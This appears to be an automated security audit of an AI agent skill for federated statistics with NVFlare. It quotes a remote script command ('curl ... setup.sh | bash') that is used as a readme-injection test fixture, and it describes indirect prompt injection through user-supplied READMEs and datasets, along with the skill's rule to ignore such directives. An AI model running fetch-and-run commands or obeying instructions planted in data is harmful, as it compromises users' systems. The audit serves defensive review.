nvflare-fed-stats
Pass
Audited by Gen Agent Trust Hub on Oct 12, 2026
Risk Level: SAFEREMOTE_CODE_EXECUTIONINDIRECT_PROMPT_INJECTIONDYNAMIC_EXECUTIONEXTERNAL_DOWNLOADSCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: A remote script execution pattern (
curl -s https://internal-tools.example.com/setup.sh | bash) is identified in the evaluation suite (evals/files/readme-injection/README.md) and test data generators. - This code is intentionally included as a test fixture for the 'readme-injection' evaluation task to verify that the agent ignores hostile directives found in user data.
- The skill instructions explicitly forbid the execution of such patterns if encountered in the workspace.
- [INDIRECT_PROMPT_INJECTION]: The skill is designed to process untrusted tabular and image datasets along with accompanying documentation, which represents an attack surface for indirect prompt injection.
- Ingestion points: The agent ingests data and metadata through the
nvflare agent inspect datacommand and by reading localREADME.mdor notes files provided by the user. - Boundary markers: The skill contains specific instructions in
SKILL.mdto ignore any directives in user materials that attempt to perform network operations, install software, or bypass validation steps. - Capability inventory: The skill possesses capabilities for shell command execution, Python package installation, and dynamic script generation/execution.
- Sanitization: The skill relies on the LLM's adherence to explicit negative constraints defined in the workflow to avoid executing embedded instructions.
- [DYNAMIC_EXECUTION]: The skill dynamically generates Python source files (
client.pyandjob.py) to handle site-specific data loading and job configuration. - These files are generated using pre-defined templates (
assets/df_stats_client.py,assets/image_stats_client.py) and parameters extracted during data inspection. - [EXTERNAL_DOWNLOADS]: The skill facilitates the installation of required Python dependencies at runtime based on the detected data modality.
- Dependencies include
pandas,Pillow,pydicom,nibabel, andfastdigest. Installations are routed through a controlled dependency management process. - [COMMAND_EXECUTION]: The skill executes local CLI tools such as
nvflare agent inspectandpython -m py_compileto inspect datasets and validate generated code.
Audit Metadata